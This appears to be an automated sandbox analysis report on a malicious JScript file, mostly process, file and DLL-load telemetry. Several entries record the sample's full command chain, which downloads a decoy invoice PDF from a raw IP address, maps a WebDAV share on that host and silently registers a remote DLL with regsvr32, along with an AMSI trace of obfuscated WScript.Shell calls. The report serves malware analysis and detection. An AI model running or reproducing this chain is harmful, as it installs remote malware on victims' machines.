File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7468:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5phrkcev.joe.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1656,i,1828878515716076639,620599518666284365,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1656,i,1828878515716076639,620599518666284365,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8801.js.csv");ITextStream.WriteLine(" entry:8223 f:ntspav");ITextStream.WriteLine(" exec:2 f:ntspav");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
